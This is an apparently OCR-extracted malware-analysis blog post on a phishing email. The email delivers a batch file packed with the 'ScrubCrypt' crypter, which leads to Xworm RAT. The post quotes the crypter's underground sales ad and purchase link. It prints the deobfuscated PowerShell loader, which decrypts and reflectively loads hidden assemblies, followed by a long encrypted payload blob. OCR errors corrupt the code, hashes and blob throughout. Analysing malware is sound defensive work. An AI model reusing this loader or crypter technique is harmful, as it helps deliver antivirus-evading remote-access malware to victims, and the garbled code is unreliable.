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Intro

In this blog we are going through a recent phishing campaign that leverages a new crypter
sold in underground forums.

Overview

In the past weeks a new thread was posted in the “Cryptography and Encryption Market”
section in hackforums.net promoting a new crypter called “ScrubCrypt”
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ScrubCrypt 2.0.1 | 100% FUD SCANTIME AND RUNTIME 12/10/22 | .NET/NATIVE | AUTO-BUY!

Buy now: https://scrubspoof.ru/
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Effortlessly evade

antivirus detection

Our new antivirus evasion tool converts executables
into undetectable batch files with the click of a button

Purchase now —>

ScrubCrypt secures your applications with a unique .BAT packing method.
Guaranteed to bypass Windows Defender scantime/runtime.

This crypter was found used in a recent phishing campaign which eventually delivered
Xworm RAT.

We will be going through all the analysis steps from the phishing mail the victim receives to
analyzing and deobfuscating the crypter(and its origin) and identifying the final Xworm
binary.

The Phish

The user received a mail with the subject: “LEP/RFQ/AV/04/2022/6030”, the mail itself

contains a generic body content, letting the user know that he has an attachment that needs
to be open.
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LEP/RFQ/AV/04/2022/6030

Chandran

C 12/20/2022 1:19 AM

LEPRFQAV04,pdf.001
37.75 KB

Good Day,
Please quote us your best price and rush delivery details for the attached enquiry.
Kindly attach datasheet/catalogue for our reference.

Awaiting your earliest reply on the same

Best Regards,

Chandran

The mail has attached archive file (LEPRFQAV04,pdf.001), inside of it we can find a .bat file

(batch script) that supposed to be executed by the user and lead to a multistage execution
chain.
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Filee Commands Tools Favorites Options Help

£ — w— »
T2 e =
@ @ E0me \® 0 &
Add Extract To Test View Delete Find Wizard Info VirusScan Comment
T m LEPRFQAV04,pdf.001 - RAR archive, unpacked size 50,394 bytes v
Name a Size Packed Type Modified CRC32
= File folder
[S]LEPRFQAV04,pd... 50,394 38,488 Windows Batch File 12/15/2022 5:4... FF5CF603
LEPRFQAV04,pdf.bat
Static Information
o Sha256:
04ce543c01ad4bace549f6be2d77eb62567c7b65edbbaebc0d00d760425dcd578
o VT Detection: 24/61 (Link)
24 @ 24 security vendors and 1 sandbox flagged this file as malicious & :iz
- 04ce543c07adbace549f6be2d77eb62567¢c7b65edbbaebe0d00d760425ded578 49.21 KB 2022-12-22 07:56:13 UTC
04ce543c01a4bace54916be2d77eb62567¢ Th6 Sedbbaehc0d00d760425dcd578 bat Size 2 days ago

1. The script has junk code which utilize the % symbol in batch scripting.
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https://www.virustotal.com/gui/file/04ce543c01a4bace549f6be2d77eb62567c7b65edbbaebc0d00d760425dcd578

2. The end of the script contains a huge encrypted blob of data as a comment (::)

Batch Deobfuscation

| start off with removing all the junk code the script contains by using the next script:
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import re

NON_WORD_PATTERN = '%\W%'

file_path = '/Users/igal/malwares/Scrub Crypt/3 - LEPRFQAV04,pdf.bat'
fo = open(file_path, 'r').read()

clean_script = re.sub(NON_WORD_PATTERN, '',6 fo)

print(clean_script)

" “batch

@echo off

powershell -w hidden -c #

set CUNTR=C:\Windows\System32\WindowsPowerShell\vil.0\powershell.exe

copy %CUnTR% "%~0.exe" /y && cls

"%~0.exe" function yA($t){$t.Replace('@', '')}$iwgO=yA
'Get@C@Qurr@ent@P@roce@ss@' ; $knsa=yA 'Rea@dAl@lT@e@xt@'; $GEOF=yA
'"En@t@ry@Poin@t@"'; $sdql=yA 'Ch@ange@E@xte@nsi@on@';$qzpw=yA
'From@Bas@e64S@tri@ng@'; $cJIQ=yA 'Lo@ad@';$uGgV=yA
'"Tr@a@n@sfor@m@F@in@al@B@lo@ck@' ; $Q1QQ=yA 'Sp@l@it@';$neAB=yA 'In@vo@ke@';$QjQB=yA
'Cre@at@eD@ec@ry@pto@r@'; function RpFzY($jAaJE, $RZzRM, $cnkfF) {$SDLZbE=
[System.Security.Cryptography.Aes]::Create();$DLZbE.Mode=
[System.Security.Cryptography.CipherMode]: :CBC; $DLZbE.Padding=
[System.Security.Cryptography.PaddingMode]: :PKCS7; $DLZbE.Key=
[System.Convert]::$qzpw($RZzRM) ; $DLZbE.IV=
[System.Convert]::$qzpw($cnkfF);$YQiIq=$DLZbE.$QjQB(); SmYMLI=$YQiIq.SuGgV($jAalE, 0, $j
AaJE.Length);$YQiIq.Dispose();$DLZbE.Dispose();$mYMLI;}function AYCAO($jAalE)
{$uSXLQ=New-Object System.IO.MemoryStream(,$jAalJE);$RWxVj=New-Object
System.IO.MemoryStream;$YYDyP=New-Object System.IO.Compression.GZipStream($uSXLQ,
[IO.Compression.CompressionMode]: :Decompress); $YYDyP.CopyTo($RWxV]);$YYDyP.Dispose();
$uUSXLQ.Dispose(); $RWxVj.Dispose(); $RWxVj.ToArray();}function BxKKh($jAaJE, $RZzRM)
{[System.Reflection.Assembly]::$cJIQ([byte[]]$jAalE) .$GEOF.$neAB($null, $RZzRM); }$WlgM
k=
[System.IO.File]::$knsa([System.IO.Path]::$sdgl([System.Diagnostics.Process]::$iwq0()
.MainModule.FileName,
$null)).$Q1lQQ([Environment]: :NewLine) ; $nwgCTf=$WlgMk [$WlgMk.Length-
1] .Substring(2);$voaim=[string[]]$nwgCf.$QLQQ("'\"); $SPONW=AYCAO (RpFzY
([Convert]::$qzpw($voaim[0])) $voaim[2] $voaim[3]); $mOXVC=AYCAO (RpFzY
([Convert]::$qzpw($voaim[1])) $voaim[2] $voaim[3]);BxKKh $mOxVC $null;BxKKh $SPONW
$null;

: 1K8FQqk7xv0jjb2P9cYVAVWZq21XoHSKBW6gFbOXhzLyV5n92FTvZLEMKOKFRY8weBiypW/knQPmwgUurEdw
UIrgCmzr2gamQnLsxndquXEgi5GKvYR/FDRIwHehO1jwqrDBq7KcwGJJID6voit2/WLYUyzbK3m2VQTCE6BWY6d
Qit0JIXT8Ybc5UFF97GMVoqwiBWhSns+0XdgujX6T6cI/OWz8RoyBP+EM3XQ9ksHL+BX8PgiWIIWZg2ubYCvdc
4/eyO0VFeV]jjoJlpxgTyjm8RbeDp8fIbzXBlo9P6eSz200FqSwgzYETMIKkmSWJILr5dpHugGWzn+qbDSLYF7cu8a
3tgEVHDXpgfHaNMESKHUL Jw+7AJYmpI10Ch9gw8PQG4hDFU2IOLTHfppe3rIHylHdwwvO9DYyYOU+VEpa2lwas
WkwtLgk89+P4Cavj4dfplolbgCTqSKzgtTCG+8G6Lj7CT1lfwrZcc+EH/+XUgmW7IRJI1fk5kxdHI2VgKxhp08Y
ghJNM+y5Xcun4r0sc/TmKAOuzzj6be+K2GtIYWJE8k78gLf7boUXWkxicjLIEAmMNYWGLgCjUDK+THN4ZPZfCC
gXTjTKWyQbzHJI5ShbDXTcmIASGWDIX16IYOPrsBO2tfkzPT74/7yLPcxtpicldQaTyxUGO4A1JICSAG+MEVTX5K
J6axXysztv+focvzVSBLIIbWZuyR7VvoOscBHW/v3WcBb4gtG3JECCAdt9BZUbXi1i9PQNGXAKRIZ00VMCNY(Q809
QlrL8/2Ax4vyznr814x7Lcx/8mvubasUwAG8vVTtGMAM75AVVC/5j2TPhaT6xrAGPX00gxyCQcctRTuK2xhia
G3QfCJj7XZhLrxHcsO+UHeaqtfgDjRzc41L4QeeoNDohvmpCLzGQN4y/M+iPtZAgPuIXT8aUlZhBDREKQ90BM
3vBLNps6wezZ5j3jjpVnzaoqOwnleclwlq4uCUJ7yDbpt539HHes j5w6NNKOOKkRXbEOPYZ1HOMS7nB4psNEUYL
gEcYLgwulmyDoeVPmkrdSOTMOwhCLPaLyyhN5w6sgfMbk55IXHATUSHgMNJ1jgIu8xmHQHGNX40g7UXFYePq3
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pPHDMEOQgPjZJTe3UC6bWSLXJIXxisXLYJ4Zm3AX85B6diXezdvBdupi/++xrgewOBpl2/Rf4Uu4P+aJCRUISynuE
9WJIMk12r/BgE4QfiRNPOUVU1Gi9KYXrnMb5vZVLpQkdu+Hd6yQTLU00Jf5C7bdMoTrUIDFNSYDVZ9+iuBD7/J
8JPqhspBHQGQRUX0OSrH3wi7EZ3PmL3PeuYI1I2NIUtgfP+8h6wA4th4doFO167ejnVqoyndmbcl9UBg6qWCFy
5HM51zKZyFCdohZShu@méeDXKVRam/BGPfFBwSYyJCRhzuUN2Asx87hDiaWel+GqVm/D3Q/mf3XV5wwxRF8Xx9k
gN1TSCcZHX2DF0aSx97s4wBTrbS1U81U0QsWOoP2GpwgKn+rZEVX1GYtfzXYjtpCmsaieP/rptKnK/IzQY9QI5
rnG95i91b8pGvYD4AG/ Ff1lv3g3IPVRNX87hFNHNOLHTi6ZtdMtX8UCM7hWWTXpFOXxgeUXxK71RE8yJ2iaNk3aM
XgzX08J1ltwvt4pOskJIDaezj2t4v9aUpUUKIwI8CEKUTIYJIbQQsYwxeZCqB+uX6Mo+mqI+Bzm@ODKkJISAt1LHZU
h101PNkZEuI+szYmNJAh1CN6hbcacNPzuhfzmQKbfe5H79B1pOuib7cdgVrdVtVMOwFXOMxnv9071luyxBNrAU
KAXOtW119gOCAHtVCc1YHKC6UaeAv8Mo/kThB9+K6OIqFnYdMevTyNFWbufWDeG+KEXmtXSV2A1i1JQyvCe2ETM
1HiF0zf69GIuCHfVOKQ3sM+Uon//TYJYODZooL+GJaVvxuAUriqgBygWcAq2gcK30lV3cUbsIfc5LpnmVPe5tB
Qs4Z+sLEx8HWIXyaCCXCOPXYwC1rpDv7yzW1Vb/pxk7Nh4o0YA7MrAd4hsmcgXdwDvgibymwfpQufR8urdzzXNY
/LA5zJrd70CPpiMLIhtEWGXfLVQLfiHWMZ7fylkcAwjZVNtalsVYaTG8yGYKMNOWY6NnNDIsfttjFqOgWHBXLTF
1C4/WJIJHKOCRD3KGWZ591tK9BLT/Nn2zgJt3POYLDYiTChNgq2aCcUH6FT8GqCjWeVQIDW50Zeo+IxukSk4BkFPn
URRi81hkjiCPLptruhvbp5yjfzrluJodq+w89U/M12NtR0o0X1/02XxYqDq7uwW8cYCd91iY9+UJhSw5X0jQvrrY
glnIuiQUzkBlDeeEon/FoeRogeIsOtgaWpNKX7SsdoEssK3LbzMfXLw3dVUpOMIJIPtGRWEBXYISZWbHMUXXG]
HZ+1LnnOzNrz4w7Nfm3AgqoMugJOxpOmSFFXAXNNNL1/hrqfZFSi4sLen91JTfzCUlJqv+ghLfY3voAtiOhy9yw
MhmQ7CmfdMvsOkLxTvd58JI1XRMSVtQ3S2c1kR9jP/qWz3Bosw9sTfZvau63JqAQTYSLP10GS6WR5EMYKKkbGef
4G+LqcBCS49GJ+92NTj99iTgbLialcgZDvUHBXuiQgbmY/cf8nLWSh2+/vw+XfBQSazmVXx/thVHFb22j6Mv0O
/vzPJIWawhdzX9ruz3DypTBLNPrUz1VzkCmOrp2KZIAOA9uUOWOMOaZMHMKbqf3zPEjaxot+HeGRGVP4XxZ9K/ 2K
Kbf/j4cEBkvOQrUbganMmcQj/qSYAZMToOU7elAbycVEXhpHIEjCcE8IMO]jJJaU77mzZjYi91gD0OvUgise4pRsP
BX1idrMNhG6Xw2d2MARO8kK j/1BmgsgBQUOIVTsTowbUZK6wZIxZkumqvmB/WHIX+zEMOEAe4UWKEB81XALVtUP
gEqTHb+RQYePEgAzR02J4Se89NKUBNNCmb1Ab69bu06WcX3eWL2N4zWB6AJMKVIEhOESTkHoNXhiNgn7bARY j
6k8UshDgIdAApqUidmGT3wgmXb5E8GkUOH4q4UAe2PF/gfotgqGrHO/VQNDVHCCC5A64/IT/VACPAAPPJIFLO/
ombcypvxWIXxriDJvGZbLMIQ1SrhLTrOT8X/Mhdi2EXKOHNAW1T1luyCSONh+7aunVue4wRISTwiQLdWNn59kvL
5podhMITVaVrix8j/prTPUZKXTNPg+gQQFpcCe47RtgUN1qj2hBTLr+VZGO43WOKkCUUDPUQ5UMiHBb7404y1f
Kez09RZBENP9j21iP95mAYFtHUCXHb6UiFaR9040jTCFNVd91UhTAPTzPuyCwmn6hNJIX2agGU6UXMWHNwa8+s
p1Z4ZzgBPLtwg600UI1FWNOPNKEdZ46e00yKL++nFfiSPqtkofBBZM200juYezt1S1VHE31LHOsL1g5vCBkqZ
+SZ1b4Tk/138hE9c6Qw8h7Vfuz+98ib21Fcqv4YdrBbWReMv7CHA3fP1De93FO9woP+0DaTkCcRWwcXx+4mR+jP5
qdesStUfPx4WKjrtIUm+cD8tQ+ulTyS2xLM4iLBQFoes12xXR2HPJ/BpINSTVVDRPOIARthLVj80OWMr tQMHZz
ShSPOP5F5UCCdWFU641dacwWBOGPTm3pdpsysSEBP2IFSbPh9soU5SizHky1H2U8TDI6BY1iE/pj/2nC9b/dxe68
jKraHc/J4fpPuLPHAjXPnTf9GbGX4ZkqGbn9dNSkJQHMIJ7w]jTysiz10cQmHVD+71wm2]j9Vs9By01VdwFngSeD
95fF tUUAmMYshe2xZE3gWfDM16cUY4N+T20NBkzS1nqziB8DHqr77yjHMBMO/Z6Z0PYWMNRhtP6h8FfMROAMgBHX
5MjW/AlUKebOtk5SCSIR5/ZCwguW7bAYWYVT2rzrYgHiwRyzf1TzL6MKu+U7/ZuUCAfNC4knZpGgVKcchAa7Gw
KcyCfHH3XSaRbi54CzeqWGG8kFwUatG8zilg5ymV5Y4qOPIWN23gBus2kYmcCIO92XDf3sE]jfgxgKh4vM6pzF
ndbWG9rkoNbJGdMyeuiaMAUqI+po07sQcdfcwdt50Xrjj8YXdvSIpdcr7bVcGzBlE40ZJT4R2+1Q6p9AWIwWIL
OuA8ZaAF4e+ZabagN82DD2cI44m/sXpk/OL5PWOKaFew2pSXLpHP/xXmgHO01gyQ6BNiVbki617vzjK2gZApcL
0ckoy7S5nysfh+MDmYzQzCnhrvV+urEhEAUGCQcDUbZ4AuvoOpZXoMBfPMgofpKTdF+RVMAOR8Tgrbkhn3hCB
amy4EgUr3I1fn81lOwSA2VkPx/UyCPX1no+7RBM5maUASKxUU2h30ongMi2VYipf9uxpH9455640vd/IdmBKKknK
j9KReYC+uPI4QoJHe033VASAwRXG1OJqlRtmVrJIbh9PVytEJImkcKuvpvBNgab/6/ssPiaVL39BqyBWHNJhia/
0Gidd9s/UiUWfK4vHUA8bOGAOELiBAdyuZu7jH1rR7TDs1kRn4f1E2R1DQGWYCOTHOMTY jM4VueKzRi2GeON9
BU3e7wtKRO2LJIN60YOV1ANGCGV4C1F95t4m3f/AkqUmCz1/JT85gxnmt jHWHNNngioSgJpwWwbl1l3p/QfwSy90n
PSVHztRk4FM9cqh2hRTeWS1zSOmOnGMegRSzUKQSjCPIfYNRWNY7+t29wzZhgyXqgpbiJel7RauwvD3k11Li2VX
sox3CnM2YgqllZzzH+F882dIDuEJc+ofLogzer jD3wDMkdSghSuAvulgeJ4KzTKEuUHc+L/xWUyKuwlr4BzYonU
y97QDiJyFBa7gwpljOTWiyul3iqDsrI2/zfCPrwosAKUNGpNAnmb8jYYsoegMP/9kG7WAtLhyEPgyOMONrwhd
WUhZoScoUMtyudw78njH/gFwNjg+cZ0silLydpbMbNJ4xcvdju5Ec]j2d5KLM1CghxHzoHGK0o9AwWY4hkqYoqf7X
65aX+K45UHLYPTvhUi/6hVexDCdme5tWWNB+ZzphLUUC2wMvZcXtocObecr9iWuIdmzk0z+0b44RbyDyOhIr8bG
EZXegdrCGGp3aaOPhUJttalyJw/3qYpTnkRbepIQR8ZzhLk3XLC823bLkxjMOc/F4GjPhOcQRsV4ZwbSnRJI4f
3YLqho34KiWsBrIQNIUxeQr8UyBCyo1lBOjhNPulu9K6cYhXTsIWWIVRjQzEkWO0o1hK5frxeHYkxb87tpbabho
e+QJKQA9paf0e44Ic8W721ec9F1S/BXvbba40cdM8eYiXH8ggkMeoimrjOhkyuxRsx0QGy/p6YJIBjw30dACmt
qVSTiM+VhKxzZ55ZT2/65mCeqoMh+X8FT+WXNPx+D//Ja9HBZzb9m3kq7i0jDRcIXtiYKGUITkQrMtVNH47n7U
dDIcOqcak5QAvQgAyp/YySL/Q50Hh+3g+DhB5aKCTKw9iCuJiegj+Q3WnNQELNKZPApeIDj2s2vfmQMHaF1SCC
7hy02EJVIXLrMHNWT3AJInqfp8plD9SrrT9cwl0ODVDeXio415717C//GGYTKFfDkS5I2jKgcmTafsHrxOwWrJf
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CGMD53r511Jp5gTvPZ0JInPX7zfDpvwvYKdZ2hfYd+4MGXxrLdL6KkInW5ioyhwemNbv3671JRSLpBHj4eA036td
LS4m5nQfoDBN39+09TUygTf5cgTY2dPY42Z+RACVANM2NBTAS5poVpL78ndLd+ouMOXtNI1cZAN2nzdhCmBOAV
rp4Rq+u6GhzDbrt31+KmgNNNN7mbdHCKwOtp6j9znmlvDp8JIC95GS3IEjUXL1cDHpCO92VIDTHFBapf3u8L1Q
JPOp3Z9wj6/NGiX4IU1UYZD0az/m6pGZSkXgKDn8QwhjCUIQ8/3mNXST35LPSONn+GFXIKAFVDRPNBTf2ENO+4U
1I6YqhEyxVLy83gT18pINS8HLISHZFIPXNkPfqkyrDX5v3D8eRU6QQUVIWGOOL7pLF/L+D/4jkGgW/HojSXAAO
jeCVh049/wl1zHEfCq7ehA7cX7L2LwyrngVciasgGMZwiu4U5/YvO5hpiewWlYz3wvde2b0oF+qNXo20pW4a0Z
94jfQ+I2IyWvy5ypoE19XeCqXrs061vkY4/xx2gnXTHeYkLj4ybDHYUhVETAMTGBolm+1yRUAZiaMknkFAp80
2nRjLOFGSTP47ktAh1tIUYbFGLgQA4YGf20U+L70UWG6SWIjVH/gQ3wdTynaPB0z70rPu/1hGYgIdlfxn3dwB
KWPz81qhdXMn32J4cki+u/x516P7cdnBsU8wWuUstn3rksrfxjBvITOtaEw4KO3y4dFVCNbE3XxFKew+wCDU9GH
d0zPfPvz+CateyZl716EOPEBZCKJIfz5XkMNnu2KY3F1XNvO6Z307spTKA4gtd4STT33K]jG5jxX5eUFy7QxU4Gil
kW+MXE99bONntXiK93CV/6wu0d66qodZb0YLcoMsCTvMu4L/w4afB60dAWV3EQQT8g91leg2p/+hI+8iPw278NZ
OSPT90V088hFfYtFXg1AHrGrKfysGNkw2sDaDjbaE1XMmF8owLKk1rwNh/ZQuH5u8H41DPgnVAdkgptwBosd7T
geeNEcHdW7yoNJK6gKyUW8VjaukapmSLqwzZ/6uSlj/tz70eAdSjMyCH/cxUWMQhKHJjOh3w+WzyxshsgG5Cai
X90QNRCv121+VQfOEZ8MXY85fva6X6nDybvcQeiMxBFY9K]j6/QPrko4ignm2dtc4sfFTh8buSMpXUAY2zdcol
+mwt39FAlpybWuGQiwtoZ/sS693ZDHz6xSFQ518q0sPLzCkJ/1Ta02TOejpZNc/p2hQQokMsUyNzSh6D76e/K
U99ISpCpx9mdnW5bit0fO3tFQ0ZDB+NrJVvnzZj/cdwW8f+3TddfxQRojeIEryTLmVkzByi4ImLkrUOKfJIIsZ0OX
Oow2hkrHy6I8e5RWgoYtmvndRU2gCienAC+elwWikg6cBzXawFJJFI4LCd19aE6FQXRCYPR/RYb6wFNyyl1HXx92
UhgASPzYfS1m8NK/DrMwgsnep4L3c+julpoKGoQQXNMOzvGZ4DOHWhTGTWOuUCADXLNRXKecHQGE+OfTgnrkwl
JuKixCQ3JVX3Q123XM/4m+p4wOEVAhgC/ fpSWF2AY r2pfTpFtWR2jk65ImA781WN2geB2u4Nb2DhwsoNcmpcC
VLWOgErQE1i@DB1XyT/cioFPKaXuqgbyphg5fkwkmdB4FoiXFY(q5BX/86hAAeY6CZoco+vw72y2ksxoSpdgjji
UOfGCTWNtODBDZE1VpPNAWEWSGT1rMpF3yUJGoq2Sv5L002EVrEnesGjuoQwmCsA2TQKGQvwTfmONORsz/1S3/
sQ1BQ9KmeATBCzZ/Bc5LMxVa9tDYfFepn7bSA3UGrvVsdOTBAPOUCgNFtkezZG6t5jg6LNEFYF32b7Z21S+hEikX
v7hf+0euOXEGgzEOEMIHFY+0se/Yq4JqyT3DKm3kgJGHaNGSzFXIkIWMENirtxZtqFZvwGZH3r7IHqvyu4DL
RVWAKb1UMOSDP+0PIVssKIMhvEbDdtRrVOHQCV]j9eOGRgSUUSYEM1ZKFeETgIw+ixA/KIR/v6vIPtwSHLN21V
M5Y1rEsghRfToIgPCCcbgIAngN+IdhYwgFAE78H1DHKF+SpONhizjMOXmTo+tFFSQTqw3Qrwq0jGv8Dh2PHTs
189HSypjnDfqcHCWGON5gFhVTjW920c0Gr3MQqVpBFBYwY/MkJ99FgCU7KC6IDbAUFFOXN1bfVdx4y/FOmxMX
BrjP2q6IJZLxT0JKQ8cqag0sqlwg91bA2FPHYHFCX030uQ2A11QjXPFpSLGUHPT5D2ky3K0GXFUWEYTYjoucE
W5pninaXQONpuMVBwb2Xh1rifZx2EbVPa2wj86fqmoPTEiypC/I31x04dCywxLVJ/+bdObRm+7WYqk2Ahmckw
LRfwlsih9Puws6f06Qr4XP5EN9t064g4+gfis623kK1DA/VbDNH8BaRvnovAkgp3McIld19YfPjRmrFypS10H
s8XWyb1ls5n7gtba8oIeIx2yTJHYOhWd161DGQYy0JLU2UwWUVjXD2VCEH82AZzSBOCSUW3QfOwOL7KkwUMGRIXU30
x2y0sDoug2MRE9855f+bY/gL1vDVFXGHU1N6dONrO2Wv91LbHR9TfmgeRcHY jnHFOHVOEW53J0AYsafEFwWU12Y
NOJi3mBgp7huIZdMmc6vb7KMDVIwJto6Sx57jcIXEBYkw7klelL+j4SOHPT1+0oenCHWRkgNm3duZxU3W+ZUFnR
jvbk6M7SjYAPjDa8ngtCjIKx5yiQkXzjQbMz1lweZoDx6mh6dE/V/1dwKQPzNZ1YqS96sbjBOAJKDDBSFymMzX
IFVTgNrT/Leaq3iQwgfYBKlc+UagvzegjdT+hxuRCOY1VzmlF/3tsFOMA2eeIXSTLUEHViLOpPE8WK40yY/zIi
PO/XhNnCbljWblbZiz7K0exqVLnhYcVz8putFIM618Q60zJQB90630thCEVX+RNIva3f7UY/draete218Tdw2
1fMgyq1hP61/xCpbkfFECX6NpPbg4YsQcx29B972nYm3nYCFMLr kIMMXKB7840hUjaobIczHz JIFAAWYGM5ZpYN
DKzMIWOPYy1ZISXDKgZik5VrJuzEQrYk96G/TO6HsS7EtpEE22pXxZciy+dc13dCmdDIgkfe3PFv1sil.qZPMD49P
81ByIaGg4EC3R5aNQaax4J7VArbJpnOyangmsRrz/hUYV4AhLRKgxXFcu4DdW1XFVXTNgZpnrTUImxIRshrUEQ
QNWBEG10b1ATXZqdNtO+w3wgfultxn8lkAyeDfgxQL/syQlXovIRs5RXx7TNgmgZMov/0BUZnMPCjA622Niz6V
AvQXxu/DQNOiv1l/kveOxbuzmPpvdtyPT+bVTSTj6LLVZNPGWdrbLKNnIkzn9LCcRrvywhV0aBGioyJaHCUpL8xc
z1lUnlYetfqM4JL8+pWKvUOLii2spDo8p5xid4ogvIKdoKocBULUuOTfHYhYh28XxWLRRG6ELIUXUOFEXCZddsL6EXD
zukPi1jsd9Nd79jsAcinaVv5V7CYDmjfwianxQaGquutitItgDL5z0Jb2jUHz6ptaBl4ar/CFIzFXWF3tjqLkGt
JBRQjCPAMP/Mjb82QclIssn320qTDSrbPUSFYXg8Dy+qo7XalyQPDOEL45ROE8Q7103hCUscDK]josXbdIcafE
SFZgmMETH6W2n5dZgYCYcO03wh2ZoMpWUAXdZQcEEs4Za+omqClwwTcdV31xxgEF94CJ/bpGg/BlzXgi8UykST
QrzcbMOUdKhYZ81KKEQ+h8UMOhCIu/98mQfwHRM1VQF4VgNYT3gx3dJCLFRHS99/1mJwxfs/dBkWRsSy1izPx
yku8qVv4C0JIxQp/g+reQq2RPwmg6MSKSxdtaVfQb7KLJIbcRXRJIejmXy5aSfphGuQMieg0Y4F5rTkBgFcwfyllz
8+hKhdtpez6KbbyTOXTMtVATVNdZItt5rGETCcrr/WEP2UhAzfLOaFwmmfJIpuxdpwldfXvr9BNQPvW4/y3EMZA
TN6ise7qC+PROqgkZbIe66iE3FEqA43C1SIRddZIaghmxsbbMz9rDwTHQMysncIufovS04GdCsLLX2gvviWwWE
I3sXS9eDCfApF4In7nS1IYPb7mUBsq/huzfyz/605D6z17XYUyV6EZz0isDOjM6Xb2stgjens5PvZpzgILyzS+W
PdmwSrkbgjFyFOZAB3a4thTSqYs3K5kCXSI9n+nsAqCL2I021xk2v/HfvI2zJuJuPisTnJ22HDBLkwYZzUG50W
S3C5MHZNN1YrFRCRTIK9VWwijM3UUNDgWz2hi9MdGmtyzg3k/puPgmvVfK37xQc4+7MiFrm8pNdmajjPfDfkt
egbUfT+uAwZ0aZjojN6IYXXGAGGhT34iRW4g7RUNSVJIAMVBG]EhB/6+BHA9CckWy7t/VTFQj3n5Zp3kpVjgdEq
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C06z9rtsjpTaAogl1878IKM3thIXDkA3iXFA4pOXaFySktX/h026blovmINY5VAMFCUFFUaTmfDDko3hPWBQA
6WysXazAv2KRNWQQiJC+kOjgaeKOaTrpE/EkOcOUS5VkXccF8s6I65t02Cpp8g3XsgdhRTubWeEcxeqv+NYO+0
4rZOEQsY3wr+1W842X4IEFc8IDgESPloe+CUlsS5bTQAX2UWVSSRKS5RYs1Glztazy8ppuPFXrrjqdCiUVK+T
S5BfN94RXx2RHXn8uf6E7ehbcTUJJohgwhc4JewOnYORZ98RRaqHIB6Vv34QUBJIrg2N81jY+YB8X1INV5pWQXQJ
jWre/jDrjwPaNVj3mRG4TSARR6YyNPe639tPkzIPa7nudXoVVVDEVtVmM1tPKuAj6L6A7TF5UzwNirZCZUMIkaA7
DuCzXPvalLB8uQSChzTyzA8T8fcds1liRGZjsueadU6IbHMg2gNUOTB/cV251L+YuyEQ4McSdQGpgJeKFIJ3ZZ9
CV7GBX21BLMOX1wYNIfRD5N2tCVvHWb1iFrYUt®aoJ1CWnOngw5uiM6k8x1/csfIv+YbiKo1YQVQq2]j TBNRKxzw
UG3x7eRIOOFGQHWYknVb5/rnDz3aQOHaa2ICzJknyvcexC1XX6HTnX4/76bvUdbhVPnnI5wyCxu8KPzb/DUCfP
KAXkBJGB601GUOLtGX8XGEAIKXp+eCf7+qKimk7z6DZRnruTDOQXKiFrODkngt66ymyiMoHWWh5MX8qIFkzeJ
gwjN8fA4v400NLjyFA]js60G02q0mbknUQ5uquQjUoA7Pp/0ACdaHU+/x1j8IYL7AMDXD0OzjAeysiRZ16BMur6
/qYAFDe2L4/3f4yZzpexRXLDu4UsZjnxVAKAa2p9KIguxFWuJFBboMejpdN1gzSzajPFB+V/+b7KHiIXfuRtH
COLFTVdsShoCZZkKjas9rRgMQQcS6x8CWBOc+Fwjen/a8kpd3100g5WpKNVVRFAA35COPOVNX6irsr+zstjlM
Opp80cOrwaEDArj+Tx44FVHF1eH1iIFF1FgxLxAtfJ0qQciraQC4fCGSKHIUaLmpgbAiV3NbOXD1wGDIL7ZR6
IdWCOTUR+EVW6kwB9IX9DzdgCUD]j2WhR6jJhohUsj1/qp9FiwWwBh7QA72CJitGXhoJuQvgZyoc6dHm/+B4R+80
IBuUcp40zWQraGrkQ3ytq@TqwlyCRTgOJMW11I/H6DqZJIFeZFpxilRxjahxyZsI2YybmeGZrYDBsqwWwj76mVz
NEKAQ5GXTdPQIU13bze3NOBqt857AzCNr/dzwPwiFA8fgUEc4hjwbajwYof4CED/QVGQlcpoL3KtE9rwPkSEQ
X9XMjLvkQOioyz37qwfbY45LV7C+ZVN3jYZivSEHX/m6ZNumROUghw+Dy8sTIKORTIcMIsDcadUdgCeUGWTOZ
/Zg03N6MhD4k9TOBgLKpHDixuA489b+VPp0ObUyqiBKJIS9SI3EQSItdt1yUGLldas6vy4tWstWmByeI4RVKTFD
4ehJso/e3AcevzE4yFWQ1B033WDk jkaq9D8BwRr+dS1kuLAWNKcLcW6MOp5CVOI+75eqmbRECHbfsYBUJDeIL
FFEieCgMM1EgB9eYvU/nnsP8xTqzbFosJpmj8c0k2086mVGzwtX/SgG1CdXLp9n/WatE1PgQNrgQEJbP4hjFz
Th6SvdTbwqz3R/ma8S59jXPibkkd546pWlncuYC4GNfcrPp90UGWvXagLb6mgVEEAGoselnGemhnuUCYEXA4g
4f1UDnc+5017B7r0/EK16SzbqukI8ieh0GedehXDFGWDONeyHOV4zz9wE0oIftaN7+TZ764BJIpOB32s+DxWOUuU
TYB1cGGTBKtFL5xtdcx2MKzm4Jv3QGhtGEUODDKMX8r1afMhTKOpSiP5bvg8BqPVv31R2nNP7R3/X9KPUNGEZO8
WShMx7AVQqsY17IZH1HJOLCSi9ndKx39iqv8DmdbccXZ8JIrWjwWRAU9owT1kGY10igdbIzRMTAM10PjU2J6gOTT
0a@rJxnVRocC70HBaLhZT1/usVxmCtolwWeS2vkptWoVeVNLFhgXzpFoQqrGK9hAfe/M9+UUf0aldhgHNSJIWQH
Xf5BON1100QONm7x9/0ZenluVvofOF1lwtgwWbdtOB3II3J6zgDkLp1lcIVRY4g3GhVpm517HQST8aWNWMhFVCvVC]
ujeCHO1ARgwaOrdoFelLqQ6yLNZh67gx7TeZmYaVuNzRLTM3AMLa+u5MrYILv9esGyUtzC2xvikiOU20PIEVYO
CpzZbg+mhKE7dskjkyNmKjyczsCr1FmkgB6W4K6yDIMHIjg5tVC/jKSj68x000wQsInKMkHioN/0C32Zm44m5e
3+pD3IG305dgtgy20gKBXorL9jLbFDtr2dTVZz3ESWoyOGUWZVDXNac52KOXLfMIaXIVp4mnBtvFLOFeo3DIL(
4AbCESO06KWKGKMQSsrTpMOHVOEdSHkOwrGn7BUZji2wVzRYaBZgZLKb5TsviohZt5/07tHD4nR/S/2Dp2T4W
FXWRcm68YLkx8rgFXuuOntNTZS70WBXRVXtcxXukTS6TATVYVbF602fueilLKPeeevHYyVwPUrRRsShQOr3mefui
RiMwh/qsabDOwfy/k56U4KifIHYbNGgtpllyXHp8LXvsvIrwSNiZLXIBIJ6NARLYZzt77TFncbzhOHofT1vKrRnE
dLVkWHUMD2G+GEe1BqQJ3nf+VWBFXLeBGU16e1hTJHVNDSQhRj0JzXGeOVvrhkShPcAws++Lgl1SJ34iAi0DJG4
